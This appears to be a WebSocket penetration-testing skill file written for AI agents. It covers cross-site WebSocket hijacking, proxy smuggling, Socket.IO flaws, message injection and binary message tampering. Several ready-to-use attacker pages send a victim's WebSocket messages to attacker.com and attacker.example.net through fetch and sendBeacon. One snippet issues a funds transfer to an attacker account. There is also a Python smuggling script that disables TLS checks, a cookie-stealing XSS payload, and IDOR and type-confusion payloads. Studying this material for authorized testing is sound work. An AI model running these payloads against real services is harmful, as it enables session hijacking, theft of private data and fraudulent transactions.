SKILL: WebSocket Security

> AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.

0. QUICK START

During proxy or raw traffic review, watch for:

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

Server success response indicators:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.

1. PROTOCOL BASICS

Client request (typical)

• Upgrade: websocket and Connection: Upgrade — required upgrade handshake.
• Sec-WebSocket-Key — base64 nonce; server hashes with magic GUID and responds with Sec-WebSocket-Accept.
• Sec-WebSocket-Version: 13 — current standard version for browser interoperability.

Server response

• HTTP/1.1 101 Switching Protocols — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

• The server does not validate Origin (or equivalent binding) on the WebSocket handshake, and
• The victim has an active session (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.

Proof-of-concept pattern (laboratory / authorized target only)

const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

Testing notes: Confirm whether Origin is checked, whether cookies are sent (SameSite rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.

3. TESTING WITH TOOLS

wsrepl

pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

Use a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

ws-harness (bridge to HTTP for other tools)

python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

Burp Suite ecosystem

• SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
• WebSocket Turbo Intruder — high-rate or scripted message fuzzing.

4. COMMON VULNERABILITIES

Example sensitive URL anti-pattern:

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.

5. DECISION TREE

1. Identify endpoint — From JS bundles, Swagger, or 101 responses; note wss vs ws.
2. Handshake review — Are Origin, Host, and Cookie policies correct? Any token in query string?
3. Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
4. CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
5. Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
6. Transport — Flag ws:// in production; verify TLS and HSTS alignment.

6. RELATED ROUTING

• From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.

Note: WebSocket often shares session and permission models with REST; use api-sec to align authentication and resource boundaries on the same backend.

7. CSWSH — STEP-BY-STEP EXPLOITATION

Step 1: Confirm no Origin check on WS handshake

# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)

Step 2: Craft attacker page

<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>

Step 3: Cookies and session hijacking

Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers

Step 4: Read/write messages as victim

// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};

8. WEBSOCKET SMUGGLING

Concept

Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.

Upgrade-based proxy bypass

1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content

H2-over-WebSocket smuggling

1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic

Implementation with Python

import websocket
import ssl

ws = websocket.create_connection(
    'wss://target.com/ws',
    header=['Origin: https://target.com'],
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
    b"GET /admin/users HTTP/1.1\r\n"
    b"Host: internal-backend\r\n"
    b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2)  # binary frame
response = ws.recv()
print(response)

Proxy-specific behaviors

9. SOCKET.IO SPECIFIC VULNERABILITIES

Namespace injection

Socket.IO supports namespaces (/admin, /chat). If authorization is only on the default namespace:

// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
    adminSocket.emit('list_users');
});

// Server may not verify that the client is authorized for /admin namespace

Event name injection

If event names are derived from user input:

// Server-side vulnerable pattern:
socket.on(userInput, handler);

// Attacker sends event name that matches internal event:
socket.emit('__disconnect');     // force disconnect other clients
socket.emit('connection');        // re-trigger connection handler
socket.emit('error');             // trigger error handler

Acknowledgement callback abuse

Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:

socket.emit('get_data', {id: 'admin'}, (response) => {
    // response may contain data the client shouldn't have access to
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(response)
    });
});

Polling fallback CSRF

Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:

POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}

10. WEBSOCKET MESSAGE INJECTION

In intercepted connections (MITM on ws://)

If the application uses ws:// (unencrypted), an attacker on the same network can inject messages:

1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible

Application-level injection

When WebSocket messages are concatenated or interpolated without sanitization:

// Vulnerable server-side handler:
socket.on('chat', (msg) => {
    // If msg contains JSON metacharacters:
    broadcast(`{"user":"${username}","msg":"${msg}"}`);
    // Injection: msg = '","admin":true,"msg":"hacked'
    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});

Stored XSS via WebSocket

1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously

11. BINARY WEBSOCKET MESSAGE MANIPULATION

Protobuf deserialization

Applications using Protocol Buffers over WebSocket may be vulnerable to:

1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints

# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw

# Output: field structure with types and values
# Modify, re-encode, send back through WebSocket

MessagePack deserialization

import msgpack
import websocket

ws = websocket.create_connection('wss://target.com/ws')

# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}

# Modify and re-send
data['user_id'] = 1  # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)

Type confusion attacks

Binary serialization formats may allow type confusion:

# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection

# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values

Tools for binary WebSocket analysis